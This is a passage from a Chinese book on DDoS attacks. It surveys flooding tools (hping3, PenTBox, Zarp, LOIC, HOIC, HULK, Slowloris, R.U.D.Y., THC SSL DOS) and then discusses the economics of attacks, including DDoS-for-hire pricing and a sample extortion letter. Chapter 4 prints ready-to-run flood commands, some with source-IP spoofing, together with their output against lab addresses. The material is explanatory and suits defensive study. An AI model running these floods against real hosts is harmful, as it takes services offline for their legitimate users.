len=46 ip=192.168.65.160 ttl=128 DF id=31870 sport=80 flags=SA seq=1 win=64320 rtt=35.8 ms
len=46 ip=192.168.65.160 ttl=128 DF id=31871 sport=80 flags=SA seq=2 win=64320 rtt=36.4 ms
len=46 ip=192.168.65.160 ttl=128 DF id=31872 sport=80 flags=SA seq=3 win=64320 rtt=32.6 ms
len=46 ip=192.168.65.160 ttl=128 DF id=31873 sport=80 flags=SA seq=4 win=64320 rtt=33.0 ms
len=46 ip=192.168.65.160 ttl=128 DF id=31874 sport=80 flags=SA seq=5 win=64320 rtt=33.1 ms




其中，-i u1参数表示每个数据包发送间隔为1微秒，参数-S表示设置SYN标识，参数-p 80表示设置数据包的目标端口为80。

使用-c参数可以指定收发数据包的个数，这里指定发送10个数据包：




[root@Fedora ~]# hping3 -c 10 -i u1 -S -p 80 192.168.65.160
HPING 192.168.65.160 (p3p1 192.168.65.160): S set, 40 headers + 0 data bytes
--- 192.168.65.160 hping statistic ---
10 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms




使用-a参数可以进行源IP地址的伪造：




[root@Fedora ~]# hping3 -a 1.2.3.4 -i u1 -S -p 80 192.168.65.160
HPING 192.168.65.160 (p3p1 192.168.65.160): S set, 40 headers + 0 data bytes
^C
--- 192.168.65.160 hping statistic ---
39606 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms




当然也可以使用可交互shell借助TCL脚本来描述上述攻击行为：




[root@Fedora ~]# hping
hping3> while 1 { hping send
"ip(saddr=1.2.3.4,daddr=192.168.65.160)+tcp(sport=4321,dport=80,flags=s)" }




除了进行DDoS攻击外，Hping还具有一些其他的网络测试功能，例如防火墙测试和端口扫描等。


4.1.2　PenTBox

PenTBox [2]
 最早出现于2009年，是一款免费的开源安全工具套装。它基于Ruby开发，面向GNU/Linux系统，且兼容Windows、Mac OS、Android等系统，主要用于帮助安全人员对网络、系统的安全性和稳定性进行测试。但它常被用作黑客工具套件，尤其是它提供的Net DoS Test（网络压力测试）。

其主体功能分三部分：

·密码算法工具

·网络工具（压力测试、溢出攻击）

·Web安全测试工具

下面是PenTBox运行时的命令行界面，使用过溢出工具包Metasploit的用户对此应该不会陌生，因为它们有着相似的操作流程。




[root@Fedora pentbox-1.5]# ./pentbox.rb
 PenTBox 1.5 
         __
        U00U|.'@@@@@@`.
        |__|(@@@@@@@@@@)
             (@@@@@@@@)
             `YY~~~~YY'
              ||    ||
--------- Menu          ruby1.9.3 @ i386-linux
1- Cryptography tools
2- Network tools
3- Web
4- License and contact
5- Exit
   -> 2
1- Net DoS Tester
2- TCP port scanner
3- Honeypot
4- Fuzzer
5- DNS and host gathering
6- MAC address geolocation (samy.pl)
0- Back




虽然是命令行形式，但由于工具有良好的交互式菜单，即便是初学者也非常容易上手，并可以获得很好的使用体验。这是因为PenTBox非常清晰地对菜单进行了分类，每一大类都包含与之相关的若干工具，例如编号2网络工具类中就包含了与网络压力测试相关的功能。

这里演示了网络压力测试中的SYN FLOOD洪水攻击的用法，PenTBox对这种攻击还提供了伪造源地址的功能。




1- Net DoS Tester
2- TCP port scanner
3- Honeypot
4- Fuzzer
5- DNS and host gathering
6- MAC address geolocation (samy.pl)
0- Back
   -> 1
// Net DoS Tester //
 | Attacks |
1- Spoofed SYN Flood Native (Raw Sockets, better, faster)
2- Spoofed SYN Flood hping3 (Must have installed hping3)
3- TCP Flood
 | Exploits |
4- [other/http] 3Com SuperStack Switch DoS
5- [other/http] 3Com OfficeConnect Routers DoS (Content-Type)
6- [windows/ftp] Windows 7 IIS7.5 FTPSVC UNAUTH'D DoS
7- [windows/ftp] Solar FTP Server 2.1 DoS
8- [windows/pptp] MS02-063 PPTP Malformed Control Data Kernel DoS
9- [windows/smb] Windows Vista/7 SMB2.0 Negotiate Protocol Request DoS BSOD
   -> 1
 Insert host to DoS.
   -> 192.168.65.160
 Insert port to DoS.
   -> 80
Insert source address of the packets
(press enter for random sources).
   -> 
[*] DoSing 192.168.65.160 on port 80
    Number of Spoofed SYN sent -> 4564 (rand src) ^C
[*] EXITING ...





4.1.3　Zarp

Zarp [3]
 是一款采用Python编写的开源网络攻击测试集成工具，出现于2012年，开发的初衷是帮助渗透测试人员很好地进行工作。该工具模块化，集多种嗅探、DoS攻击压力测试于一身。目前Zarp的运行平台仅限于Linux，在安装之前要确保系统已经安装了Python 2.7.x、Git以及Scapy。

Zarp的主要接口是一个CLI驱动的图形界面，由于采用交互式菜单，使用起来相当方便。下面演示的是使用Zarp进行SYN洪水攻击。




[root@Fedora zarp]# ./zarp.py 
[!] IPv4 forwarding disabled.  Enabling..
[!] Loaded 33 modules.
     ____   __   ____  ____
    (__  ) / _\ (  _ \(  _ '
     / _/ /    \ )   / ) __/
    (____)\_/\_/(__\_)(__)
        [Version 0.1.3]         
    [1] Poisoners       [5] Parameter
    [2] DoS Attacks     [6] Services 
    [3] Sniffers        [7] Attacks  
    [4] Scanners        [8] Sessions 
0) Back
> 2
    [1] DHCP Starvation
    [2] LAND DoS
    [3] IPv6 Neighbor Discovery Protocol RA DoS
    [4] Nestea DoS
    [5] SMB2 DoS
    [6] TCP SYN
    [7] IPv6 Neighbor Unreachability Detection DoS
    [8] Linux 2.6.36 - 3.2.1 IGMP DoS
0) Back
> 6
[+] Enter [ip:port]: 192.168.65.100:80
[+] Flood host '192.168.65.100:80'.  Is this correct? 
[!] Flooding '192.168.65.100:80'...





4.2　压力测试工具

压力测试工具通常用来确定系统或网络的性能瓶颈，人们使用压力测试工具对系统和网络进行调试，从而了解性能上限。为了测试极限状况下的承载能力，网络压力测试工具会尽可能快速地发送数据包和请求，因此这些工具也能够用作DDoS攻击工具。

本节介绍的压力测试工具包括LOIC、HOIC和HULK。


4.2.1　LOIC

LOIC [4]
 （Low Orbit Ion Cannon，低轨道离子炮）最早出现于2009年，是一款开源的网络压力测试工具，最初由Praetox公司开发。

离子炮

在著名的RTS游戏《命令与征服》泰伯利亚系列中，离子炮一直是全球防御组织（Global Defence Initiative，GDI）的超级武器。

离子炮的发射平台是在太空部署的离子炮卫星，它可以对地面甚至太空的物体进行打击。离子炮的弹药是宇宙中大量不带电子的氢离子。离子炮可以将这种高能氢离子发射出去。离子炮对地攻击时首先发射大量电子束“软化”大气层，为下一步的攻击做准备（副作用是会导致暴风雨天气），之后会发射高能氢离子进行大规模破坏。离子炮的电源就是太阳能电池板，实际上在离子炮卫星上一直都有巨大的太阳能电池板为离子炮攻击进行准备。

在现实生活中，根据联合国的条约，严禁各国在太空部署高能粒子武器，所以一直没有人进行这种实验，这种武器在现实中威力有多大还不为人知。

LOIC是一种淹没式工具，会产生大量的流量，以期最大化利用目标网络或应用资源，使其对合法用户的服务水平劣化。图4-2是LOIC工具的PC版运行界面。
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图4-2　LOIC工具PC版运行界面

LOIC可以运行于多种平台，包括GNU/Linux、Windows、Mac OS以及Android等。该工具对目标可以实施TCP、UDP以及HTTP GET洪水攻击。

LOIC曾经深受黑客组织Anonymous的喜爱，被多次用于攻击活动中。例如，在2010年12月8日至10日发动的对反对维基解密的公司和机构的攻击活动中，该工具就被下载了30000次以上，造成许多攻击目标拒绝服务。

LOIC具有友好的界面，即便计算机初学者也很容易上手。虽然单台主机就可以发动攻击，但如果想要产生足以击垮目标服务端的海量请求，则需要借助数千台指向同一目标的主机以制造实际的影响。显然，让一名管理员控制对选定目标的攻击可以使整个过程更有效。因此，在最新LOIC版本中添加了一个可以连接IRC服务端的功能，这样在选定的IRC频道上，就可以将来自世界各地的攻击者聚集到一个平台，共同交流讨论攻击计划并展开攻击。

LOIC的不足之处是它不能伪造源IP地址，而使用真实IP地址，如果攻击不是通过某个匿名网络进行的，那么追踪背后的攻击者将成为可能。出于这个原因，Anonymous在近几年已停止使用LOIC工具。


4.2.2　HOIC

HOIC [5]
 （High Orbit Lon Cannon，高轨道离子炮）是一款基于HTTP协议的开源DDoS工具，它最早出现于2011年。HOIC主要用于内部网络或外部服务器安全性和稳定性测试等，和LOIC一样也是黑客组织Anonymous最常用的网络攻击工具。该工具可多平台运行，包括GNU/Linux、Windows、Mac OS等。

HOIC能够发动高速多线程的HTTP FLOOD洪水攻击，同时内置脚本引擎，允许自行修改设置脚本，提供更大的灵活性。

HOIC可以单机实施攻击，但如果要使攻击效果更为显著，仍然需要大量、分散的主机协同工作。图4-3是工具运行后的主界面。
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图4-3　HOIC工具运行主界面

虽然HOIC没有LOIC工具功能丰富（HOIC只有HTTP FLOOD洪水攻击选项），但却以极强的可配置化（.hoic脚本）著称，并且可以自由选择攻击强度（高、中、低）。图4-4显示的是HOIC的配置选项。
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图4-4　配置攻击参数

HOIC的缺点在于它无法改变攻击端口，同时，由于不支持代理，也无法做到隐藏攻击来源的IP地址。


4.2.3　HULK

HULK [6]
 （Http Unbearable Load King）是Imperva的首席安全工程师Barry Shteiman于2012年发布的一款基于python的Web压力测试工具。

绿巨人

绿巨人（The Hulk）是漫威漫画公司创造出的虚拟人物。物理学家罗柏特·布鲁斯·班纳（Robert Bruce Banner）博士在意外受自己制造出的伽马炸弹（Gamma Bomb）放射线污染后，变成了名为绿巨人的愤怒怪物。在愤怒之时就会变成狂暴的绿巨人，变成绿巨人后防御力极高，力量足以掀翻坦克。由于绿巨人时常造成毁灭性的破坏，因此成为警方与有关单位追捕的对象。

HULK通过启动500线程（程序默认预置）对目标发起高频率HTTP GET FLOOD请求，其独特之处在于每次请求都是独一的（这点可以从其Python源码中看出），以期绕过服务端采取的缓存措施，使请求能够真正得到处理。同时，HULK还能够进行User-Agent和referer的伪造，以达到更好的攻击效果。

与其他压力测试工具类似，HULK也可以单机执行，但为了使攻击效果最大化，依然需要同时发动多台主机，对目标产生海量请求数据包。HULK使用Python语言编写，有Python运行环境即可，同时对获得的源码进行更改和优化也非常方便。下面是使用HULK进行攻击的示例。




D:\hulk>hulk.py
---------------------------------------------------
USAGE: python hulk.py <url>
you can add "safe" after url, to autoshut after dos
---------------------------------------------------
D:\hulk>hulk.py http://192.168.65.100/upload/forum.php safe
-- HULK Attack Started --
101 Requests Sent





4.3　专业攻击工具

与前面两类工具有所不同，专业攻击工具的开发目的从一开始就是进行DDoS攻击的验证、演示甚至实际攻击。这类攻击工具并不以效率取胜，而是利用精巧的设计和所发现的协议缺陷来达到拒绝服务的效果。

本节介绍的专业攻击工具包括Slowloris、R.U.D.Y.和THC SSL DOS。


4.3.1　Slowloris

Slowloris [7]
 是一个Perl程序，有Perl运行环境即可。

懒猴

懒猴（Slow loris）是一种小型的猴类动物。它畏光怕热，白天在树洞、树干上抱头大睡，鸟啼兽吼也无法惊醒它。它的动作非常缓慢，多为攀爬式运动，不会跳跃，走一步似乎要停两步。曾有人做过观察，发现懒猴挪动一步需要12秒。只有在受到攻击时，懒猴的动作才有所加快。

懒猴动作虽然慢，但也有保护自己的绝招。由于它一天到晚很少活动，地衣或藻类植物得以不断吸收它身上散发出来的水汽和碳酸气，在它身上繁殖、生长，把它严严实实地包裹起来，使它有了和生活环境色彩一致的保护衣，很难被天敌发现。

Slowloris的使用非常简单，攻击过程一般分成两步。首先是对目标进行探测。




[root@Fedora Downloads]# ./slowloris.pl -dns 192.168.65.160 -port 80 -test
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Defaulting to a 5 second tcp connection timeout.
Multithreading enabled.
This test could take up to 14.3666666666667 minutes.
Connection successful, now comes the waiting game...
Trying a 2 second delay: 
    Worked.
Trying a 30 second delay: 
    Worked.
Trying a 90 second delay: 
    Worked.
Trying a 240 second delay: 
    Worked.




探测的目的主要是获取目标服务器连接超时时间，当目标服务器超时时间小于166秒时，工具运行会出现异常，所以建议选择超时时间大于200秒以上的目标。

其次，在探测成功结束后，就可以开始实施攻击了。




[root@Fedora Downloads]# ./slowloris.pl -dns 192.168.65.160 -port 80 -timeout 200
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Defaulting to a 5 second tcp connection timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to 192.168.65.160:80 every 200 seconds with 1000 sockets:
        Building sockets.
        Building sockets.
        Building sockets.
        Building sockets.
        Building sockets.
        Sending data.
Current stats:  Slowloris has now sent 368 packets successfully.
This thread now sleeping for 200 seconds...




下面解释最后一个参数timeout的设置。它指定了单个连接的超时时间，依据前面的探测选择合适的值，这里为200秒。

Slowloris运行过程中会创建数百个socket，但由于Windows系统（XP SP2及以上）对socket套接字数进行了限制，所以在类UNIX平台上的攻击效果更好。虽然单台主机就可以发动攻击，但为了使攻击效果更有成效，最好选择数台主机并发执行。

正如在第3章中所提到的，Slowloris的缺点在于它并不是对所有Web服务端都有效，所以在使用前还需探测目标服务的类型和版本。目前确认受到影响的平台包括Apache 1.x、Apache 2.x、dhttpd、GoAhead WebServer以及Squid，而不受影响的服务端包括IIS6.0、IIS7.0等。完整列表可以参看官方网站。


4.3.2　R.U.D.Y.

R.U.D.Y. [8]
 名称源于“死神之子”（Children of Bodom）乐队专辑“Are You Dead Yet？”，最早出现于2011年。它采用一种称为慢速HTTP POST请求的方式对给定目标发动攻击。

与前面提到的Slowloris利用请求的header部分有所不同，R.U.D.Y.利用了请求的body部分。之所以攻击能够奏效，是因为服务端会根据Content-Length字段的值持续等待，直到客户端数据发送完毕。

R.U.D.Y.使用Python语言编写，可移植性非常好，有Python运行环境即可。它有两种执行方式，接下来分别介绍。

1.配置文件

R.U.D.Y.可以通过读取自带的配置文件rudeadyet.conf来获取攻击参数。攻击开始前，需要攻击者完善相应的参数字段，如攻击目标、开启的连接数等。




[parameters]
URL: http://www.victim.com/path-to-post-url.php
number_of_connections: 500
attack_parameter: login
proxy_addr: ""
proxy_port: 0




在填写好相应的攻击参数后，即可直接开始攻击。




[root@Fedora rudy]# ./r-u-dead-yet-v2.2.py
[!] Using configuration file
[!] Attacking: http://192.168.65.100/upload/forum.php
[!] With parameter: ls_username




2.交互式菜单

R.U.D.Y.还可以通过智能的交互控制菜单来运行。它会自动探测并列出给定URL的可用攻击表单，用户只需简单选择即可。




[root@Fedora rudy]# ./r-u-dead-yet-v2.2.py http://192.168.65.100/upload/forum.php
Found 2 forms to submit. Please select number of form to use:
1 ) http://192.168.65.100/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes
2 ) http://192.168.65.100/search.php?searchsubmit=yes
> 1
Found 4 parameters to attack. Please select number of parameter to use:
1 ) ls_username
2 ) ls_password
3 ) quickforward
4 ) handlekey
> 4
Number of connections to spawn: (default=50)
> 
Use SOCKS proxy? [yes/no] (Default=no)
> 




与Slowloris相比，R.U.D.Y.能够对所有类型的Web服务端软件造成影响，因此其攻击的威胁更大。


4.3.3　THC SSL DOS

德国黑客组织“The Hacker’s Choice”在2011年发布了一款DoS工具：THC SSL DOS [9]
 。它可运行于多种平台，包括GNU/Linux、Windows、Mac OS等。与传统DDoS工具不同的是，它利用SSL中的已知弱点而使其拒绝服务，需要的所有装备仅是一台连网的计算机。之所以能够实现，是因为这种攻击是非对称的，一次客户请求就可以让服务端投入相当于客户端15倍的CPU资源进行处理。

THC SSL DOS工具运行后，会主动探测攻击目标是否开启了renegotiation机制，若目标服务器启用了renegotiation机制，攻击则可顺利进行。




D:\thc-ssl-dos>thc-ssl-dos.exe --accept 192.168.65.160 443
     ______________ ___  _________
     \__    ___/   |   \ \_   ___ \
       |    | /    ~    \/    \  \/
       |    | \    Y    /\     \____
       |____|  \___|_  /  \______  /
                     \/          \/
            http://www.thc.org
          Twitter @hackerschoice
Greetingz: the french underground
Waiting for script kiddies to piss off................
The force is with those who read the source...
Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
Handshakes 46 [86.63 h/s], 88 Conn, 0 Err
Handshakes 151 [105 h/s], 162 Conn, 0 Err
Handshakes 187 [35.43 h/s], 191 Conn, 0 Err
Handshakes 206 [19.00 h/s], 203 Conn, 0 Err
Handshakes 250 [44.00 h/s], 222 Conn, 0 Err
Handshakes 270 [19.70 h/s], 237 Conn, 0 Err
Handshakes 302 [32.00 h/s], 253 Conn, 0 Err




而如果目标禁用或启用安全的renegotiation，则会提示攻击失败。




D:\thc-ssl-dos>thc-ssl-dos.exe --accept 192.168.65.100 443
     ______________ ___  _________
     \__    ___/   |   \ \_   ___ \
       |    | /    ~    \/    \  \/
       |    | \    Y    /\     \____
       |____|  \___|_  /  \______  /
                     \/          \/
            http://www.thc.org
          Twitter @hackerschoice
Greetingz: the french underground
Waiting for script kiddies to piss off................
The force is with those who read the source...
Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
Handshakes 0 [0.00 h/s], 7 Conn, 0 Err
Handshakes 0 [0.00 h/s], 71 Conn, 0 Err
Handshakes 0 [0.00 h/s], 83 Conn, 0 Err
ERROR: Target has disabled renegotiations.
Ask THC (members@thc.org) for the private release of this tool
to test/attack the target.




利用THC SSL DOS工具，一台性能和带宽中等的主机就可以挑战高性能服务器，攻击效果非常明显。


4.4　小结

本章对9种常见的DDoS攻击工具及其基本用法进行了介绍。本章介绍的工具大多是“绿色”的，下载解压就可以执行，不需要安装，这对工具的传播提供了很大的便利条件。此外，这些工具在保持攻击威力不断增强的同时，易用性方面也在不断提高，免费和开源降低了下载和使用工具的门槛，这对黑客行动主义更是推波助澜。这些因素的叠加，极大地促进了类似Anonymous这样的黑客组织快速发展和壮大。随着攻防对抗的升级，工具的智能化进程不会停止。


4.5　参考资料

[1]　Hping,http://www.hping.org

[2]　PenTBox,http://www.pentbox.net

[3]　Zarp-Network Attack Tool,https://github.com/hatRiot/zarp

[4]　LOIC-Low Orbit Ion Cannon,https://github.com/NewEraCracker/LOIC

[5]　HOIC-High Orbit Ion Cannon,http://hoic.99k.org

[6]　HULK-Http Unbearable Load King,http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/

[7]　Slowloris HTTP DoS,http://ckers.org/slowloris

[8]　RUDY-R-U-Dead-Yet,https://code.google.com/p/r-u-dead-yet

[9]　THC SSL DoS,http://www.thc.org/thc-ssl-dos


第5章　DDoS攻击的成本和收益

“天下熙熙，皆为利来。天下攘攘，皆为利往。”


——《史记·货殖列传》


提起DDoS攻击，人们首先会想到的会是Anonymous的面具、格鲁吉亚的战火和无法访问的雅虎主页。在媒体报道中，黑客都是一些“疯狂”的人。他们要么是躲在阴暗小屋里的程序员，要么是双眼通红的恐怖分子。

然而现实中，绝大多数攻击者并不是疯子和变态。隐藏在“疯狂”面具后面的往往只是一个“冷酷”的逐利者。攻击是手段，如何从中获利才是他们真正关心的。带入攻击者的视角，我们会发现，“黑客”们会精确计算每次攻击的成本和收益，选择最合适的时机和形式，从而将自己的利益最大化。


5.1　攻击成本

提到攻击者的成本，也许有人会问：“发起网络攻击，需要成本吗？‘黑客’不是无所不能吗？他们控制那么多僵尸网络，拿来发起攻击就行了，怎么会需要成本？”

上面的疑问很常见。从媒体报道中，“黑客”给人的印象就是如此：现实世界里的“宅男”，网络世界中的超人。然而这只是一个误区，实际上攻击者早已有了成熟的分工模式。

误区：只有“黑客”才能发起DDoS

“只有‘黑客’才能发起DDoS”这个问题有些类似“只有士兵才能持枪射击”。技术的发展必然会促进分工，当前枪械的制造和使用早已完全分离，使用的难度也大幅降低。如果对准确度要求不高，射击就不再是一项专业技能，普通人经过少许练习就能够使用枪支。

网络攻击同样如此。当前大部分“黑客”都专注于特定领域，有的擅长发现漏洞，有的善于开发工具，有的负责入侵过程，有的专门处理账户信息。就DDoS攻击来说，一些“黑客”会建立和维护所谓的“攻击网络”。他们有的利用僵尸网络，有的控制高性能服务器，形成攻击能力后对外提供租用服务。而最终的租用者很可能只是不具备任何专业知识的普通人。这些服务使用方便，只要输入攻击目标的地址就可以完成整个攻击过程。发起DDoS攻击的可能是本地的网络黑帮，可能是对街的竞争对手，可能是上周被开除的员工，甚至可能是某个老朋友有些过火的玩笑。潜在的攻击者并不遥远，他们也许就在你的身边。

近年来，软件即服务（SaaS）的方式早已经深入人心，而“黑客”们作为技术的先行者，自然不吝于尝试这种方法。攻击即服务（Attack as a Service，AaaS）甚至分布式拒绝服务攻击即服务（DDoS as a Service，DaaS）正变得越来越流行。而且以攻击即服务这种方式提供的服务价格非常低廉。收费主要分按次计费和长期租用两种形式。大部分情况下，每小时攻击不到10美元，而长时间租用的价格则更低。

采用按次计费的形式，具体金额与时间及流量相关。时间越长或流量越大，费用就越高，但并不完全成正比关系。威胁研究员Dancho Danchev在他的博客中介绍了一个DDoS租用服务的细节。从图5-1中可以看出，1小时的攻击费用是5美元，而一星期则只要260美元。 [1]


一个名为Gwapo的网站在互联网上提供DaaS服务。他们在YouTube上公布了一段视频广告，一个男孩介绍了服务的功能和付款方式（见图5-2）。根据目标对象的不同，每小时的费用从10到100美元不等（见图5-3）。

对于此类收费方式的服务，Vicente Segura通过针对性的研究总结了其一般规律（见图5-4）。他根据调研的具体价格情况，模拟了一个价格公式 [2]
 。公式中的C表示价格，A表示要求的带宽（Mbit/s），t表示攻击时间。

C=0.9640·A 0.5869
 ·t 0.5903
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图5-1　Danchev博客中提到的DDoS租用价格
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图5-2　Gwapo在YouTube上的广告
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图5-3　Gwapo的服务条款
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图5-4　Vicente收集的部分价目单

另一种方式是按照租用时间付费，例如支付月租甚至购买终身使用权。RageBooter就是这样的一个站点。该站点提供了种类繁多的选择方案，不同价位的区别主要在于单次攻击的持续时间（见图5-5）。有趣的是，网站的拥有者声称这种服务是完全合法的，并直言他为FBI提供服务。遗憾的是FBI对这种说法不太认同 [3]
 。
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图5-5　RageBooter的租赁报价

从上述实例可以看出，无论是哪种付费方式，都称不上昂贵。对于希望打垮竞争对手的企业来说，实施攻击的成本远低于一次广告。而对于那些因为被解雇而怀恨在心的前员工，或单纯想搞恶作剧的年轻人，这样的价格也并不是很大的负担。


5.2　获取收益

相对于成本，另一个需要考虑的因素是收益。毫无疑问，只有收益大于成本，攻击行为才有意义。当收益足够大时，攻击者就敢于冒任何风险。除了探索时代的少数“黑客”外，大部分DDoS攻击都有明确的目的。

误区：DDoS攻击的目的就是单纯破坏

在很多人眼中，“黑客”其实是天才和白痴的混合体。一方面，他们在网络中如超人般无所不能；另一方面，他们却像“哥斯拉”般四处喷火，为了破坏而破坏，完全是损人不利己。

毋庸置疑，DDoS攻击的直接后果是破坏服务的可用性，简直是这一看法的完美证据。可实际上，这些隐藏在面具后的是一双双能够计算比特币的眼睛。当今时代的攻击者，对计算收益的敏感性远超常人。他们会用破坏的威力换取对等的利润，会用破坏的威慑避免自身可能受到的损失，会用破坏的杠杆撬起胜负的天平。更有时候，只需提示一下破坏的可能性，他们就可以坐地收银。

破坏，只是DDoS攻击的手段；最终的目的，永远是利益。

如何评估DDoS攻击的收益是一个有争议的问题。笔者认为，获利方式可以分为三类：敲诈勒索、实施报复以及获取竞争优势。


5.2.1　敲诈勒索

敲诈勒索自古以来就存在，现在不过是从现实世界延伸到网络中。最典型的形式是攻击者选取目标网站进行DDoS攻击，对其业务造成影响，然后再发送勒索信，如果受害者不按照要求支付，就会继续遭受攻击。

威胁研究员Dancho Danchev在他的博客中讨论了一个俄罗斯网络犯罪团伙。他们利用DDoS攻击进行敲诈，有着清晰的付费方式，每月1000卢布 
[1]

 。如果受害者希望攻击其他人，还可以获得7折的优惠。对于执法部门，他们也不屑一顾，甚至在勒索信中提供俄罗斯联邦安全局和内务部的网址，声称“为了方便受害者与执法部门联系”。 [4]


拒绝服务攻击勒索信的样例

你好！如果想要继续经营你的网站，就请每月向我们支付10000卢布。请注意！否则的话，从X月Y日开始网站会因遭受DDoS攻击而不可访问，直到你付款为止。

首次攻击将由2000台僵尸主机发起。如果你联系安全公司，的确可以阻止攻击。但我们会将僵尸主机的数量增加到5000台。而购买这个级别的安全防护，将会非常非常昂贵。

第一次支付款项（10000卢布）必须不迟于X月Y日。随后每月的付款不得迟于当月的30（31）日。每延迟一日，需要交纳100%的滞纳金。

例如，如果没有在当月的最后一天前付款，那么一天后你就不得不支付100%的罚金，总计20000卢布，两天后是30000卢布。所以请按时交纳，这样最初的10000卢布优惠价就不会变化。罚金同样适用于首付款，所以请不要迟于X月Y日。

此外，你将获得以下优惠：

·30%的折扣。如果你希望对竞争对手发起DDoS攻击，平均市场价格大约是100美元每晚，而你只需70美元。

·如果竞争对手申请对你的网站发起攻击，我们会予以拒绝。

首次支付款项请打入Yandex编号为41001474323733的账户。请注意每月的账户会不同。关于如何使用Yandex，请参考www.money.yandex.ru。如果你想申请执法机构的援助，请不必客气。我们可以提供给你他们的联系方式：www.fsb.ru和www.mvd.ru。

此外，有的攻击者并不直接从受害者处获利。例如，一些受到攻击的游戏运营者被要求在其游戏中植入广告。对于一些依靠用户购买来获利的运营者，广告收益并不显著，所以很容易屈服。但是对于攻击者来说，一旦掌握的广告投放渠道形成规模，就可以从中渔利。另一个例子是，一些网吧被攻击者胁迫，要求植入僵尸程序，借此建立可以进行更大规模攻击的僵尸网络。攻击者一般会和网吧经营者约定，僵尸网络只是有限制地使用流量，不会对网吧业务造成明显影响。在不损害根本利益的情况下，大部分受害者都会屈服。


[1]
 根据2013年9月10日的汇率，俄罗斯卢布对人民币为0.1846。换句话说，10000卢布相当于1846元人民币，或者302美元。


5.2.2　实施报复

“实施报复”是否可以算是一种收益？这的确是一个有争议的问题。在缺乏秩序的环境下，“以眼还眼，以血还血”的习俗往往很容易被人接受。因为在这种环境下，弱势群体的利益很容易遭受侵犯，报复的根本目的是试图避免下一次的迫害。从这个角度来看，实施报复的确是有收益的。

2012年7月，一部关于伊斯兰教先知穆罕默德的影片的预告片被放到YouTube上，任何人都可以观看，也可以评价“赞许”或“反感”。同年9月18日，一个自称“伊兹丁·哈桑网络战士”的伊斯兰黑客组织要求移除相关视频，否则就对美国金融行业实施报复性攻击，这就是著名的“燕子行动”。那么问题是，什么程度的报复才能补偿他们受到的侮辱呢？这个黑客组织通过给出一套看起来很有逻辑的计算方法来回答这个问题。他们认为，侮辱视频每被观看或“赞许”一次，都是对伊斯兰教的侮辱；而每次“反感”则相反，两者的加权差再乘以代价因子（由哈桑陪审团裁定），就是美国金融行业应付的代价。而后他们估算了美国金融行业遭受DDoS攻击时每分钟的损失，以及进行攻击时每天的有效时长。最终，得出每个阶段行动应当持续的时间。下面给出了“燕子行动”第三阶段的计算公式，最终结论是该轮攻击将在2个月中的25天执行。[5]


怎样计算“燕子行动”的持续时间？

T=视频的观看人数

L=评价为“赞许”的人数

D=评价为“反对”的人数

DF=10（一个“反对”者可以抵消的“赞许”人数）

CF=100美元（对于每次观看或“赞许”，美国金融行业应付的代价，基于哈桑陪审团的判决）

TC=(T+L–DF×D)×CF（美国金融行业应该付出的代价总额）

C=30000美元（美国银行遭受DDoS每分钟的大致损失）

TM=TC/C（即将进行的总DDoS分钟数）

S=平均每天DDoS的成功时间

TD=TM/S（进行攻击的总天数）

PD=已经攻击的总天数

TP=PD×S×C（美国银行已经付出的代价）

REM=TD–PD（即将对美国银行发动DDoS的天数）


5.2.3　获取竞争优势

物理学中有“不稳定平衡”的概念，是指“处于平衡状态的物体，由于受到某种外界微小的作用，如果物体稍有偏离就不能恢复到原来的平衡状态”。社会生活中同样存在这样的现象，在商业、军事和政治竞争中，势均力敌的状态最容易被意外的袭击打破。

利用DDoS进行商业竞争已经成为一种低成本和普遍的现象。这种竞争主要存在于中小型企业之间，因为它们的安全防护方面往往投入不足。形式上可以分为两种，第一种是妨碍对手的业务活动，造成客户流失。例如，中国的城市中普遍存在大量网吧，当同一地区的经营者过多，就会展开竞争。典型的场景是，一家新开张的网吧正在以较低的价格促销。而被招揽的顾客却发现网速非常慢或根本无法上网，于是渐渐离开这里，回归以往的网吧。一个月后，新开的网吧因无力支持而关闭，它的经营者最终也没明白自己遭受了竞争者的DDoS攻击。竞争者想要打击对手并不困难，并不需要自己了解“黑客”技术。由于教育和就业环节的缺失，大量没能接受高等教育但是足够聪明的年轻人，希望通过学习“黑客”技术来改变自己的命运。如图5-6所示，进入一些黑客论坛，可以找到大量这样的广告。
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图5-6　黑客论坛中的DDoS广告

美国Damballa公司公布了一份报告，其中描述了中国的一个僵尸网络：“IMDDOS BOTNET”。Damballa声称，他们是在2010年9月13日发现的这个僵尸网络。与以往不同的是，这个僵尸网络的所有者建立了自己的主页（见图5-7），并发布广告提供DDoS攻击。网站声称，只对那些违法的站点，例如赌博站点，进行攻击 [6]
 。
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图5-7　IMDDOS主页

利用DDoS进行商业竞争的第二种形式是打击对手的声誉，例如在访问量较大的时间点使主页瘫痪。国际上的一些商业黑客组织会提供更专业的服务。2012年6月，威胁研究员Dancho Danchev在他的博客中对一个DDoS租用服务的细节进行了介绍。 [7]
 由图5-8可见，从最早的SYN FLOOD到流行的HTTP FLOOD，各种类型的攻击都可以提供。

利用DDoS进行军事竞争并非新鲜事。Jeffrey Carr在《网络战内幕》（Inside Cyber Warfare） [8]
 的第5章“网络战的情报部分”，以及Richard Clarke在《网电空间战》（Cyber War） [9]
 的第6章“初试锋芒”中，都对利用DDoS的战争案例做了重点描述。就常理来看，军事行动中网络攻击的首要目标应该是对手的指挥和通信系统，其次是国家基础设施。但实际情况并非如此，迄今为止使用了DDoS手段的著名网络战，主要发生在俄罗斯与邻国之间。由于军事力量对比悬殊，争夺的关键在于信息发布渠道。当一个国家的政府官方网站和主要新闻网站遭受攻击而无法传递信息，首先会造成本国民众的恐慌，其次也难以及时获得国际舆论的支持。由此可见，DDoS攻击在军事竞争中的确可以发挥巨大的作用。此外，网络基础设施的依赖性问题也值得关注，有关人士认为，格鲁吉亚的网络只有少数几个对外连接，而其中相当一部分物理上需要通过“敌对国家”（俄罗斯），这会造成一种进退两难的境地 [10]
 。图5-9引自Packet Clearing House对当时格鲁吉亚的网络拓扑结构的描述。
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图5-8　DDoS的租用类型示例

